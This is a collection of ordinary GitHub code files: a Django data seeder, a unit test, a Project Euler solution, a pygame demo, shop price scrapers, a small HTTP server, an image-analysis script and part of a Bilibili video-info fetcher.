+{"seq_id":"512262085","text":"\"\"\"\nUse these functions to seed(insert) fake data to database\nRunning this script is similar to executing the same code\nas in the script in the shell console.\n\"\"\"\nfrom datetime import date\nfrom faker import Faker\nimport random\n\nfrom typing import Optional\nfrom seed_data_to_data_base.django_connection import create_con\nfrom django.db.models import Q\n\nfrom app.models import Employees, Positions\n\n# create connection from this script to Django project\ncreate_con()\n\n# Let`s localise Faker lib\nfake = Faker('ru_RU')\n\n# You can use this if everything is broken\n# Employees.fix_tree()\n\n# This method delete all data from model\n# Employees.objects.all().delete()\n\n\ndef get_first_name() -> str:\n    \"\"\"\n    :return: String with random first name.\n    \"\"\"\n    first_name_ = fake.first_name()\n    return first_name_\n\n\ndef get_last_name() -> str:\n    \"\"\"\n    :return: String with random last name.\n    \"\"\"\n    last_name_ = fake.last_name()\n    return last_name_\n\n\ndef get_random_day() -> date:\n    \"\"\"\n    :return: random day.\n    \"\"\"\n    random_day_ = fake.date_this_year()\n    return random_day_\n\n\ndef get_random_salary() -> float:\n    \"\"\"\n    :return: Returns a random float number up to 2 decimal places == random salary\n    \"\"\"\n    random_salary_ = round(random.uniform(80000, 600000), 2)\n\n    return random_salary_\n\n\ndef get_position(name: str) -> Positions:\n    \"\"\"\n    Function return an instance of a class Positions\n    :param name: Name of position\n    :return: Function return an instance of a class Positions\n    \"\"\"\n    position_ = Positions.objects.get(position_name=name)\n    return position_\n\n\ndef get_employee(employee_id: Optional[int] = None, position_id: Optional[int] = None) -> Employees:\n    \"\"\"\n    Function return an instance of a class Employees\n    :param employee_id: id of employee\n    :param position_id: position_id of employee\n    :return: Function return an instance of a class Employees\n    \"\"\"\n    if employee_id:\n        employee_ = Employees.objects.get(id=employee_id)\n        return employee_\n\n    employee_ = Employees.objects.get(position_id=position_id)\n    return employee_\n\n\ndef created_seo() -> None:\n    \"\"\"\n    This function creates SEO company == The initial vertex of the graph\n    :return: None\n    \"\"\"\n    # The position for which the employee is being created\n    position = get_position('Генеральный директор')\n    # Created random field\n    day = get_random_day()\n    salary = get_random_salary()\n    first_name = get_first_name()\n    last_name = get_last_name()\n\n    seo = Employees.add_root(first_name=first_name,\n                             last_name=last_name,\n                             position=position,\n                             date_employment=day,\n                             salary=salary)\n    seo.refresh_from_db()\n    print('User SEO creation completed successfully')\n\n\ndef created_subordinate(chief_id: int, position_name: str) -> None:\n    \"\"\"\n    This function create subordinate of the specified chief (chief_position)\n    :param position_name: Name of the position for which the employee is being created\n    :param chief_id: Еhe id of the chief of the employee(subordinate) being created\n    :return: None\n    \"\"\"\n    # Get object chief\n    chief = Employees.objects.get(id=chief_id)\n    # Get position for which the employee is being created\n    position = get_position(position_name)\n    # Created random field\n    day = get_random_day()\n    salary = get_random_salary()\n    first_name = get_first_name()\n    last_name = get_last_name()\n    # Let`s create employee\n    created_employee = chief.add_child(first_name=first_name,\n                                       last_name=last_name,\n                                       position=position,\n                                       date_employment=day,\n                                       salary=salary)\n\n    created_employee.refresh_from_db()\n    print(f'Subordinate of the chief_id =={chief_id} creation completed successfully, {created_employee.id}')","repo_name":"cheremyha/org_str","sub_path":"seed_data_to_data_base/functions_to_seed_data.py","file_name":"functions_to_seed_data.py","file_ext":"py","file_size_in_byte":4003,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"16"}
+{"seq_id":"8523114366","text":"import csv\nimport io\nimport tempfile\nimport unittest\nfrom src.advisor.reports.csv_issue_type_count_by_file_report import CsvIssueTypeCountByFileReport\nfrom src.advisor.reports.issues.issue_type_config import IssueTypeConfig\nfrom src.advisor.scanners.config_guess_scanner import ConfigGuessScanner\nfrom src.advisor.scanners.source_scanner import SourceScanner\n\n\nclass TestCsvIssueTypeCountByFileReport(unittest.TestCase):\n    def test_output(self):\n        config_guess_scanner = ConfigGuessScanner()\n        source_scanner = SourceScanner()\n\n        issue_type_config = IssueTypeConfig()\n        report = CsvIssueTypeCountByFileReport('/root', issue_type_config=issue_type_config)\n        report.add_source_file('test_negative.c')\n        io_object = io.StringIO('__asm__(\"mov r0, r1\")')\n        source_scanner.scan_file_object(\n            'test_negative.c', io_object, report)\n        report.add_source_file('test_neutral.c')\n        io_object = io.StringIO('#pragma simd foo')\n        source_scanner.scan_file_object(\n            'test_neutral.c', io_object, report)\n        report.add_source_file('config.guess')\n        io_object = io.StringIO('aarch64:Linux')\n        config_guess_scanner.scan_file_object(\n            'config.guess', io_object, report)\n        report.add_source_file('test_nothing.c')\n        io_object = io.StringIO('foobar')\n        source_scanner.scan_file_object(\n            'test_nothing.c', io_object, report)\n        self.assertEqual(len(report.issues), 2)\n        self.assertEqual(len(report.remarks), 1)\n\n        with tempfile.NamedTemporaryFile(mode='w', delete=False) as ofp:\n            report.write(ofp)\n            fname = ofp.name\n            ofp.close()\n\n            with open(fname) as ifp:\n                csv_reader = csv.DictReader(ifp)\n                seen_negative = False\n                seen_neutral = False\n                seen_config_guess = False\n                seen_nothing = False\n                for row in csv_reader:\n                    if 'test_negative.c' in row['filename']:\n                        seen_negative = True\n                        for (field, actual) in row.items():\n                            if field == 'filename':\n                                continue\n                            expected = '1' if field == 'InlineAsm' else '0'\n                            self.assertEqual(expected, actual)\n                    elif 'test_neutral.c' in row['filename']:\n                        seen_neutral = True\n                        for (field, actual) in row.items():\n                            if field == 'filename':\n                                continue\n                            expected = '1' if field == 'PragmaSimd' else '0'\n                            self.assertEqual(expected, actual)\n                    elif 'config.guess' in row['filename']:\n                        seen_config_guess = True\n                        for (field, actual) in row.items():\n                            if field == 'filename':\n                                continue\n                            self.assertEqual('0', actual)\n                    elif 'test_nothing.c' in row['filename']:\n                        seen_nothing = True\n                        for (field, actual) in row.items():\n                            if field == 'filename':\n                                continue\n                            self.assertEqual('0', actual)\n                    else:\n                        print(row)\n                        self.fail('Unexpected row in CSV output')\n                self.assertTrue(seen_negative)\n                self.assertTrue(seen_neutral)\n                self.assertTrue(seen_config_guess)\n                self.assertTrue(seen_nothing)\n\n","repo_name":"aws/porting-advisor-for-graviton","sub_path":"unittest/test_csv_issue_type_count_by_file_report.py","file_name":"test_csv_issue_type_count_by_file_report.py","file_ext":"py","file_size_in_byte":3727,"program_lang":"python","lang":"en","doc_type":"code","stars":122,"dataset":"github-code","pt":"16"}
+{"seq_id":"12618445780","text":"\"\"\"\nThe prime factors of 13195 are 5, 7, 13 and 29.\n\nWhat is the largest prime factor of the number 600851475143 ?\n\"\"\"\nfrom math import sqrt\n\n\ndef compute_factors(num):\n    # limit = int(sqrt(num))\n    limit = num // 2\n    factors = []\n    for d in range(2, limit):\n        if num % d == 0:\n            factors.append(d)\n    print(len(factors))\n    \n    return factors\n\n\ndef solve_1(num):\n    # Get the list of factors\n    factors = compute_factors(num)\n    # print(factors)\n\n    # Get the last prime from list\n    i = len(factors) - 1\n    while i >= 0:\n        prime = True\n        for j in range(i):\n            if factors[i] % factors[j] == 0:\n                # print(factors[i], factors[j])\n                prime = False\n                break\n        if prime:\n            return factors[i]\n        i = i - 1\n\n\ndef prime_factors(n):\n    factors = []\n    \n    # Print the number of two's that divide n\n    flag = False\n    while n % 2 == 0:\n        flag = True\n        n = n / 2\n    if flag:\n        factors.append(2)\n\n    for i in range(3, int(sqrt(n))+1, 2):\n        flag = False\n        # while i divides n , print i ad divide n\n        while n % i == 0:\n            flag = True\n            n = n / i\n        if flag:\n            factors.append(i)\n\n    if n > 2:\n        factors.append(int(n))\n\n    return factors\n\n\ndef solve_2(num):\n    factors = prime_factors(num)\n    print(factors)\n\n    factors.sort()\n\n    return factors[-1]\n\n\ndef main():\n    num = int(input())\n    print(solve_2(num))\n\n\nif __name__ == '__main__':\n    main()\n","repo_name":"romitheguru/ProjectEuler","sub_path":"3.py","file_name":"3.py","file_ext":"py","file_size_in_byte":1537,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"28328056534","text":"import pygame\r\npygame.init()\r\n\r\nscreen = pygame.display.set_mode((500,500))\r\npygame.display.set_caption('Designs')\r\n\r\nx,y = 100,100\r\nwidth, height = 10,10\r\nspeed = 10\r\n\r\nwhile True:\r\n    pygame.time.delay(10)\r\n    for events in pygame.event.get():\r\n        if events.type == pygame.QUIT:\r\n            pygame.quit()\r\n            quit()\r\n    \r\n    key = pygame.key.get_pressed()\r\n\r\n    if key[pygame.K_UP] and y>0:\r\n        y -= speed\r\n    if key[pygame.K_DOWN] and y<500-height:\r\n        y += speed\r\n    if key[pygame.K_LEFT] and x>0:\r\n        x -= speed\r\n    if key[pygame.K_RIGHT] and x<500 -width:\r\n        x += speed\r\n    \r\n    pygame.draw.rect(screen, 'white', (x,y, width, height))\r\n    pygame.display.update()\r\n    \r\n","repo_name":"pickry/programmingknowledge","sub_path":"design.py","file_name":"design.py","file_ext":"py","file_size_in_byte":723,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"16"}
+{"seq_id":"32667268729","text":"\nf = open('a.php','w')\nfrom urllib.request import urlopen\nimport urllib3.request\nfrom dataclasses import replace\nimport requests\nfrom bs4 import BeautifulSoup\nimport sys\nkeyword =sys.argv[1]\nurlA = 'https://www.amazon.in/s?k='+keyword+''\nurlF = 'https://www.flipkart.com/search?q='+keyword+''\nurlR = 'https://www.reliancedigital.in/search?q='+keyword+''\nurlH = 'https://www.happimobiles.com/mobiles/all?serach=&q='+keyword+''\nurlL = 'https://www.lotmobiles.com/catalogsearch/result/?q='+keyword+''\nurlP = 'https://www.paiinternational.in/SearchResults.aspx?search='+keyword+''\nurlB = 'https://www.bajajelectronics.com/product/search?q='+keyword+''\n\nprices = {}\ndef scrape(url):\n    if url == urlF:\n        try:\n            res = requests.get(url).content\n            soup = BeautifulSoup(res, 'html.parser')\n            itemF = soup.find_all('div', class_='_4rR01T')\n            costF = soup.find_all('div', class_='_30jeq3 _1_WHN1')\n            #print(itemF[0].text + \" \" + costF[0].text)\n            costF = costF[0].text[1:]\n            prices[\"Flipkart\"] = costF\n            fp = \"\\nData is Retrieved Successfully!!\\n\"\n            fp1 = fp.replace('\\n','<br /> ')\n            print(fp1)\n            fp2 = '<button><a href=\"' +urlF+'\" class=\"hero-btn\">link</a></button>'\n            print (fp2)\n            fp=\"\\n========================================================\\n\"\n            fp1=fp.replace('\\n','<br />')\n            print(fp1)\n\n        except Exception as e:\n            fp3=\"\\ndata from Flipkart is not found\\n\"\n            fp4=fp3.replace('\\n','<br />')\n            print(fp4)\n            fp=\"\\n========================================================\\n\"\n            fp1=fp.replace('\\n','<br />')\n            print(fp1)\n\n    elif url == urlA:\n        try:\n            res = requests.get(url).content\n            soup = BeautifulSoup(res, 'html.parser')\n            itemA = soup.find_all('span', class_='a-size-medium a-color-base a-text-normal')\n            costA = soup.find_all('span', class_='a-offscreen')\n            #print(itemA[0].text + \" \" + costA[0].text)\n            costA = costA[0].text[1:]\n            prices[\"Amazon\"] = costA\n            fp=\"\\nData is Retrieved Successfully!!\\n\"\n            fp4=fp.replace('\\n','<br />')\n            print(fp4)\n            fp2 = '<button><a href=\"' +urlA+'\" class=\"hero-btn\">link</a></button>'\n            print (fp2)\n\n            \n            fp=\"\\n========================================================\\n\"\n            fp4=fp.replace('\\n','<br />')\n            print(fp4)\n\n        except Exception as e:\n            fp=\"\\ndata from amazon is not found\\n\"\n            fp4=fp.replace('\\n','<br />')\n            print(fp4)\n            fp=\"\\n========================================================\\n\"\n            fp1=fp.replace('\\n','<br />')\n            print(fp1)\n\n    elif url == urlR:\n        try:\n            res = requests.get(url).content\n            soup = BeautifulSoup(res, 'html.parser')\n            itemR = soup.find_all('p', class_='sp__name')\n            costR = soup.find_all('span', class_='sc-bxivhb cHwYJ')\n            #print(itemR[0].text + \" \" + costR[0].text)\n            costR = costR[0].text[1:]\n            prices[\"Reliance\"] = costR\n            fp=\"\\nData is Retrieved Successfully!!\\n\"\n            fp4=fp.replace('\\n','<br />')\n            print(fp4)\n            fp2 = '<button><a href=\"' +urlR+'\" class=\"hero-btn\">link</a></button>'\n            print (fp2)\n            fp=\"\\n========================================================\\n\"\n            fp4=fp.replace('\\n','<br />')\n            print(fp4)\n        except Exception as e:\n            fp=\"\\ndata from reliance is not found\\n\"\n            fp4=fp.replace('\\n','<br />')\n            print(fp4)\n            fp=\"\\n========================================================\\n\"\n            fp1=fp.replace('\\n','<br />')\n            print(fp1)\n\n    elif url == urlH:\n        try:\n            res = requests.get(url).content\n            soup = BeautifulSoup(res, 'html.parser')\n            itemH = soup.find_all('a', class_='name')\n            costH = soup.find_all('div', class_='p-c')\n            #print(itemH[0].text + \" \" + costH[0].text)\n            costH = costH[0].text[1:]\n            prices[\"Happi Mobiles\"] = costH\n            fp=\"\\nData is Retrieved Successfully!!\\n\"\n            fp4=fp.replace('\\n','<br />')\n            print(fp4)\n            fp2 = '<button><a href=\"' +urlH+'\" class=\"hero-btn\">link</a></button>'\n            print (fp2)\n            \n            fp=\"\\n========================================================\\n\"\n            fp4=fp.replace('\\n','<br />')\n            print(fp4)\n        except Exception as e:\n            fp=\"\\ndata from Happi mobiles is not found\\n\"\n            fp4=fp.replace('\\n','<br />')\n            print(fp4)\n            fp=\"\\n========================================================\\n\"\n            fp1=fp.replace('\\n','<br />')\n            print(fp1)\n\n    elif url == urlL:\n        try:\n            res = requests.get(url).content\n            soup = BeautifulSoup(res, 'html.parser')\n            itemL = soup.find_all('a', class_='product-item-link')\n            costL = soup.find_all('span', class_='price')\n            #print(itemL[0].text+ \" \" + costL[0].text)\n            costL = costL[0].text[1:]\n            prices[\"Lot Mobiles\"] = costL\n            fp=\"\\nData is Retrieved Successfully!!\\n\"\n            fp4=fp.replace('\\n','<br />')\n            print(fp4)\n            fp2 = '<button><a href=\"' +urlL+'\" class=\"hero-btn\">link</a></button>'\n            print (fp2)\n            fp=\"\\n========================================================\\n\"\n            fp4=fp.replace('\\n','<br />')\n            print(fp4)\n        except Exception as e:\n            fp=\"\\ndata from Lot mobiles is not found\\n\"\n            fp4=fp.replace('\\n','<br />')\n            print(fp4)\n            fp=\"\\n========================================================\\n\"\n            fp1=fp.replace('\\n','<br />')\n            print(fp1)\n\n\n    elif url == urlB:\n        try:\n            res = requests.get(url).content\n            soup = BeautifulSoup(res, 'html.parser')\n            itemB = soup.find_all('h3',class_='prodHeaderDesc mb10')\n            costB = soup.find_all('h3', class_='prodPrice d-inline')\n            #print(itemB[0].text+ \" \" + costB[0].text)\n            costB = costB[0].text[1:]\n            prices[\"Bajaj\"] = costB\n            fp=\"\\nData is Retrieved Successfully!!\\n\"\n            fp4=fp.replace('\\n','<br />')\n            print(fp4)\n            fp2 = '<button><a href=\"' +urlB+'\" class=\"hero-btn\">link</a></button>'\n            print (fp2)\n            fp=\"\\n========================================================\\n\"\n            fp4=fp.replace('\\n','<br />')\n            print(fp4)\n        except Exception as e:\n            fp=\"\\ndata from Bajaj is not found\\n\"\n            fp4=fp.replace('\\n','<br />')\n            print(fp4)\n            fp=\"\\n========================================================\\n\"\n            fp1=fp.replace('\\n','<br />')\n            print(fp1)\n\ndef priceComparision():\n    a=f'Showing results for : {keyword} in different sites'\n    b=\"\\n\"+a+\"\\n\"\n    fp4=b.replace('\\n','<br />')\n    print(fp4)\n    \n    for item in prices.items():\n      a=item[0],\":\",item[1]\n      fp=\"\\n\"+item[0]+\":\"+item[1]+\"\\n\"\n      fp4=fp.replace('\\n','<br />')\n      print(fp4)\n        \nif __name__ == '__main__':\n    print('connecting to Flipkart.com\\n')\n    flip=scrape(urlF)\n    print('connecting to Amazon.in\\n')\n    ama=scrape(urlA)\n    print('connecting to Reliance\\n')\n    rel=scrape(urlR)\n    print('connecting to happi mobiles\\n')\n    hap=scrape(urlH)\n    print('connecting to Lot Mobiles\\n')\n    lot=scrape(urlL)\n    print('connecting to Bajaj Electronics\\n')\n    baj=scrape(urlB)\n    b=priceComparision()\nmessage = f\"\"\"<html>\n<head></head>\n<body><p></br>Flipkart : {prices[\"Flipkart\"]}</br></p><a href={ama}>Link</a></body>\n</html>\"\"\"\nf.write(message)\nf.close()\n\n\n","repo_name":"ManvithDevadiga/Price-Comparison-website-using-Python-Beautifulsoup","sub_path":"qwe.py","file_name":"qwe.py","file_ext":"py","file_size_in_byte":7964,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"43601034663","text":"#from BaseHTTPServer import BaseHTTPRequestHandler, HTTPServer\nimport http.server\nimport socketserver\nimport simplejson\nimport json\nimport random\nimport myFSM\nimport diaLogic\nimport mqttDriver\nimport os\n\n\n# mqttIp = 'ACA PONGO LA IP'\n\n# # Callback para mensajes de mqtt, todavia no se bien como armar este callback jaja xd\n# topic = ''\n# msg = ''\n\n\n# def messageCallback(client, userdata, message):\n#     userdata.topic = message.topic\n#     userdata.msg = message.payload\n#     return userdata\n\n# Callbacks para la FSM\n\n\n# def idle2EspObj():\n\n\n# def idle2EspAcc():\n\n\n# def espAcc2EspAcc():\n\n\n# def espAcc2EspObj():\n\n\n# def espObj2EspObj():\n\n\n# def espObj2EspAcc():\n\n\n#     # Una vez definidos los callbacks y el IP creo el cliente\n# mqttClient = mqttDriver.mqttClient(mqttIp, messageCallback)\n\n# # Una vez definidos los callbacks genero la FSM\n# myLogic = jsonParser.myDiaLogic(\n#     checkCallback=checkCallback, setCallback=setCallback)\n# FSM = myFSM.myFSM()\n\n# # Creo estados\n# FSM.addState('Idle')\n# FSM.addState('EsperoAccion')\n# FSM.addState('EsperoObjeto')\n\n# # Creo eventos para Idle\n# FSM.addPath('Idle', myFSM.myOptions('Pregunta', callBack1, 'EsperoAccion'))\n# FSM.addPath('Idle', myFSM.myOptions('Accion', callBack2, 'EsperoObjeto'))\n\n# # Creo eventos para EsperoAccion\n\n# FSM.addPath('EsperoAccion', myFSM.myOptions(\n#     'Accion', callBack2, 'EsperoObjeto'))\n# FSM.addPath('EsperoAccion', myFSM.myOptions(\n#     'Pregunta', callBack1, 'EsperoAccion'))\n\n# # Creo eventos para EsperoObjeto\n\n# FSM.addPath('EsperoObjeto', myFSM.myOptions(\n#     'Accion', callBack2, 'EsperoObjeto'))\n# FSM.addPath('EsperoObjeto', myFSM.myOptions(\n#     'Pregunta', callBack1, 'EsperoAccion'))\n\n\n# # Testeo commit desde PC\n# FSM.printFSM()\n\n\ndef jsonPPrint(filename):\n    f = open(filename, 'r')\n    data = json.loads(f.read())\n    print(json.dumps(data, indent=4, sort_keys=True))\n\n\nclass S(http.server.BaseHTTPRequestHandler):\n    '''Servidor HTTP'''\n\n    def get_File(self, mime):\n        self.send_response(200)\n        self.send_header('Content-type', mime)\n        self.end_headers()\n        f = open(os.path.dirname(\n            os.path.abspath(__file__)) + self.path, 'rb')\n        self.wfile.write(f.read())\n        f.close()\n\n    def do_GET(self):\n        '''Callback para GETs'''\n        print(self.path)\n        try:\n            if(self.path.endswith('/')):\n                self.send_response(200)\n                self.send_header('Content-type', 'text/html')\n                self.end_headers()\n                f = open(\"myPag.htm\", \"r\", encoding=\"utf8\")\n                self.wfile.write(f.read().encode())\n                f.close()\n\n            elif(self.path.endswith('.png')):\n                self.get_File('image/png')\n\n            elif(self.path.endswith('.htm')):\n                self.get_File('text/html')\n\n            elif(self.path.endswith('.jpg')):\n                self.get_File('image/jpg')\n\n            elif(self.path.endswith('.js')):\n                self.get_File('text/javascript')\n\n            elif(self.path.endswith('.css')):\n                self.get_File('text/css')\n\n            elif(self.path.endswith('.woff')):\n                self.get_File('application/x-font-woff')\n\n            elif(self.path.endswith('.ico')):\n                self.get_File('image/ico')\n\n            elif(self.path.endswith('.pdf')):\n                self.get_File('application/pdf')\n            else:\n                self.send_error(\n                    403, \"Forbidden File, Format Not Supported {}\".format(self.path))\n\n        except FileNotFoundError:\n            self.send_error(404, \"File Not Found {}\".format(self.path))\n\n    def do_HEAD(self):\n        self._set_headers()\n\n    def do_POST(self):\n        self.send_response(200)\n        self.send_header('Content-type', 'text/html')\n        self.end_headers()\n        self.data_string = self.rfile.read(int(self.headers['Content-Length']))\n        # self.send_response(200)\n        data = simplejson.loads(self.data_string)\n        with open(\"myFulfillment.json\", \"w\") as outfile:\n            simplejson.dump(data, outfile)\n        # jsonPPrint(\"myFulfillment.json\")\n        f = open(\"response.json\")\n        self.wfile.write(f.read().encode())\n        return\n\n\ndef run(server_class=http.server.HTTPServer, handler_class=S, server='localhost', port=80):\n    server_address = (server, port)\n    httpd = server_class(server_address, handler_class)\n    print('Server starting at ' + str(server_address[0]) + ':' + str(port))\n    httpd.serve_forever()\n\n\nif __name__ == \"__main__\":\n    from sys import argv\n\nif len(argv) == 3:\n    run(server=argv[1], port=int(argv[2]))\n    print(argv[1])\nelse:\n    run()\n","repo_name":"sfalcona/myIOT","sub_path":"myServer.py","file_name":"myServer.py","file_ext":"py","file_size_in_byte":4658,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"19213330481","text":"import cv2\r\nimport numpy as np\r\nfrom skimage.morphology import convex_hull_image\r\nimport glob\r\nfrom natsort import natsorted\r\nimport csv\r\nimport os\r\n\r\ndef dens(folder):\r\n\r\n    # 画像ファイルの読み込み\r\n    imgs = folder + \"/*png\"\r\n    imgs_list = glob.glob(imgs)\r\n    imgs_list = natsorted(imgs_list)\r\n\r\n    # データを出力するcsv作成\r\n    filename = \"result.csv\"\r\n    with open(filename, \"w\", newline=\"\") as f:\r\n        header = ['img_name', 'evaluation value']\r\n        writer = csv.writer(f)\r\n        writer.writerow(header)    \r\n\r\n        # 画像ごとに処理を実施\r\n        for image in imgs_list:\r\n            img = cv2.imread(image, cv2.IMREAD_GRAYSCALE)\r\n\r\n            # 凸包計算\r\n            img_hull = convex_hull_image(img)\r\n            img_t = np.where(img_hull == False, 0, 255).astype(np.uint8)\r\n\r\n            # 凸包の重心計算\r\n            mu = cv2.moments(img_t, False)\r\n            x,y= int(mu[\"m10\"]/mu[\"m00\"]) , int(mu[\"m01\"]/mu[\"m00\"])\r\n\r\n            # 画像内での重心からのばらつき計算\r\n            eva = 0\r\n            h, w = img.shape[: 2]\r\n            for i in range(h):\r\n                for j in range(w):\r\n                    eva =eva + (img[i][j])/255 * ((i-y)**2 + (j-x)**2)\r\n            \r\n            eva = int(eva)\r\n            i = os.path.basename(image)\r\n            writer.writerow([i, eva])\r\n\r\nif __name__ == \"__main__\":\r\n    dens(\"source\")","repo_name":"yamamura-san/test3","sub_path":"density.py","file_name":"density.py","file_ext":"py","file_size_in_byte":1425,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"16"}
+{"seq_id":"491659562","text":"import json\nimport os\nimport re\nfrom typing import Optional\n\nfrom django.http import HttpResponse, HttpResponseServerError\n\nimport tools.ffmpeg\nfrom core.interface import Service\nfrom core.model import Result, ErrorResult, Info, Extra\nfrom tools import http_utils, store\nfrom core import config\nfrom core.type import Video\nfrom tools.store import make_path\n\nheaders = {\n    \"accept\": \"*/*\",\n    \"content-type\": \"json\",\n    \"user-agent\": config.user_agent\n}\n\nweb_headers = {\n    \"accept\": \"*/*\",\n    \"sec-ch-ua\": \"\\\"Not?A_Brand\\\";v=\\\"8\\\", \\\"Chromium\\\";v=\\\"108\\\", \\\"Google Chrome\\\";v=\\\"108\\\"\",\n    \"sec-ch-ua-mobile\": \"?0\",\n    \"sec-ch-ua-platform\": \"\\\"macOS\\\"\",\n    \"sec-fetch-dest\": \"document\",\n    \"sec-fetch-mode\": \"navigate\",\n    \"sec-fetch-site\": \"none\",\n    \"sec-fetch-user\": \"?1\",\n    \"upgrade-insecure-requests\": \"1\",\n    \"cookie\": config.bilibili_cookie,\n    \"user-agent\": config.web_user_agent,\n}\n\nuser_headers = {\n    \"Accept\": \"json\",\n    \"Sec-Ch-Ua\": \"\\\"Not?A_Brand\\\";v=\\\"8\\\", \\\"Chromium\\\";v=\\\"108\\\", \\\"Google Chrome\\\";v=\\\"108\\\"\",\n    \"Sec-Ch-Ua-mobile\": \"?0\",\n    \"Sec-Ch-Ua-Platform\": \"\\\"macOS\\\"\",\n    \"Sec-Fetch-Dest\": \"empty\",\n    \"Sec-Fetch-Mode\": \"cors\",\n    \"Sec-Fetch-Site\": \"same-site\",\n    \"Origin\": \"https://www.bilibili.com\",\n    \"Cookie\": config.bilibili_cookie,\n    \"User-Agent\": config.web_user_agent\n}\n\ndownload_headers = {\n    \"accept\": \"*/*\",\n    \"accept-encoding\": \"identity;q=1, *;q=0\",\n    \"range\": \"bytes=0-\",\n    \"sec-fetch-dest\": \"video\",\n    \"sec-fetch-mode\": \"no-cors\",\n    \"sec-fetch-site\": \"cross-sit\",\n    \"referer\": \"https://www.bilibili.com\",\n    \"user-agent\": config.user_agent\n}\n\n\nvtype = Video.BILIBILI\n\n\nclass BiliBiliService(Service):\n\n    @classmethod\n    def get_url(cls, text: str) -> Optional[str]:\n        print(text)\n        if \"bilibili\" in text:\n            urls = re.findall(r'(?<=www\\.bilibili\\.com\\/video\\/).+', text, re.I | re.M)\n            if urls:\n                return \"https://www.bilibili.com/video/\" + urls[0]\n            return None\n\n        urls = re.findall(r'(?<=b23\\.tv\\/)\\w+', text, re.I | re.M)\n        print(urls)\n        if len(urls) == 0:\n            return None\n        url = \"https://b23.tv/\" + urls[0]\n        res = http_utils.get(url, header=headers, redirect=False)\n        url = res.headers['location']\n        print(url)\n        return url\n\n    # @classmethod\n    # def get_prefix_pattern(cls) -> str:\n    #     # https://b23.tv/lizymu4\n    #     return 'www\\.bilibili\\.com\\/video\\/'\n\n    @classmethod\n    def make_url(cls, index) -> str:\n        return index\n\n    @classmethod\n    def index(cls, url) -> Optional[str]:\n        if \"b23.tv\" in url:\n            return re.findall(r'(?<=b23\\.tv\\/)\\w+', url, re.I | re.M)[0]\n\n        try:\n            bvid = re.findall(r'(?<=video\\/)\\w+', url)[0]\n        except IndexError:\n            return None\n\n        p = re.findall(r\"(?<=p=)(\\d)\", url)\n        if len(p) == 0:\n            return bvid\n        else:\n            return bvid + '-' + p[0]\n\n    @classmethod\n    def get_bvid(cls, url) -> Optional[str]:\n        try:\n            return re.findall(r'(?<=video\\/)\\w+', url)[0]\n        except IndexError:\n            return None\n\n    @classmethod\n    def get_info(cls, url: str) -> Result:\n        burl = cls.get_url(url)\n        if burl is None:\n            print('error')\n            return ErrorResult.URL_NOT_INCORRECT\n\n        video_data = BiliBiliService.get_data(burl)\n\n        bvid = video_data['bvid']\n\n        res = http_utils.get('https://api.bilibili.com/x/player/pagelist',\n                             param={'bvid': bvid, 'jsonp': 'jsonp'}, header=headers)\n        if http_utils.is_error(res):\n            return Result.error(res)\n\n        data = json.loads(res.content)\n\n        p = re.findall(r\"(?<=p=)(\\d)\", burl)\n        if len(p) == 0:\n            index = 0\n        else:\n            index = int(p[0]) - 1\n\n        try:\n            cid = data['data'][index]['cid']\n        except (KeyError, IndexError):\n            return ErrorResult.VIDEO_ADDRESS_NOT_FOUNT\n\n        res = http_utils.get(url, header=user_headers)\n        result = re.findall(r'(?<=<script>window.__playinfo__=).*(?=</script><script>)', res.text)\n        data = json.loads(result[0])\n\n        extra = None\n        try:\n            videos = [video for video in data['data']['dash']['video']]\n            audios = [audio for audio in data['data']['dash']['audio']]\n            extra = Extra(videos=videos, audios=audios)\n        except (KeyError, IndexError):\n            try:\n                url = data['data']['durl'][0]['url']\n            except (KeyError, IndexError):\n                return ErrorResult.VIDEO_ADDRESS_NOT_FOUNT\n\n        info = Info(platform=vtype)\n        info.filename = str(cid) + \".mp4\"\n        info.cover = video_data['pic']\n        info.desc = video_data['title']\n        info.video = url\n        info.extra = extra\n        return Result.success(info)\n\n    @staticmethod\n    def get_data(url: str) -> dict:\n        res = http_utils.get(url, header=web_headers)\n        data = re.findall(r'(?<=\"videoData\":).*(?=,\"upData\")', res.text)\n        return json.loads(data[0])\n\n    @classmethod\n    def fetch(cls, url: str, mode=0) -> Result:\n        res = http_utils.get(url, header=user_headers)\n        result = re.findall(r'(?<=<script>window.__playinfo__=).*(?=</script><script>)', res.text)\n        data = json.loads(result[0])\n\n        videos, audios = [], []\n        try:\n            videos = [video['baseUrl'] for video in data['data']['dash']['video']]\n            audios = [audio['baseUrl'] for audio in data['data']['dash']['audio']]\n        except (KeyError, IndexError):\n            try:\n                url = data['data']['durl'][0]['url']\n            except (KeyError, IndexError):\n                return ErrorResult.VIDEO_ADDRESS_NOT_FOUNT\n\n        result = Result.success(url)\n        result.videos = videos\n        result.audios = audios\n        return result\n\n    @classmethod\n    def fetch2(cls, url: str, mode=0) -> Result:\n        res = http_utils.get(url, header=user_headers)\n        d = re.findall(r'(?<=<script>window.__playinfo__=).*(?=</script><script>)', res.text)\n        s = json.loads(d[0])\n\n        burl = cls.get_url(url)\n        if burl is None:\n            return ErrorResult.URL_NOT_INCORRECT\n\n        bvid = cls.get_bvid(burl)\n        if bvid is None:\n            return ErrorResult.URL_NOT_INCORRECT\n\n        res = http_utils.get('https://api.bilibili.com/x/player/pagelist',\n                             param={'bvid': bvid, 'jsonp': 'jsonp'}, header=headers)\n        if http_utils.is_error(res):\n            return Result.error(res)\n\n        data = json.loads(str(res.text))\n        p = re.findall(r\"(?<=p=)(\\d)\", url)\n        if len(p) == 0:\n            index = 0\n        else:\n            index = int(p[0]) - 1\n\n        try:\n            cid = data['data'][index]['cid']\n        except (KeyError, IndexError):\n            return ErrorResult.VIDEO_ADDRESS_NOT_FOUNT\n\n        # entropy = 'rbMCKn@KuamXWlPMoJGsKcbiJKUfkPF_8dABscJntvqhRSETg'\n        # appkey, sec = ''.join([chr(ord(i) + 2) for i in entropy[::-1]]).split(':')\n\n        # http://api.bilibili.com/x/player/playurl?cid=227539569&bvid=BV1cD4y1m7ce&qn=112&fnval=16\n        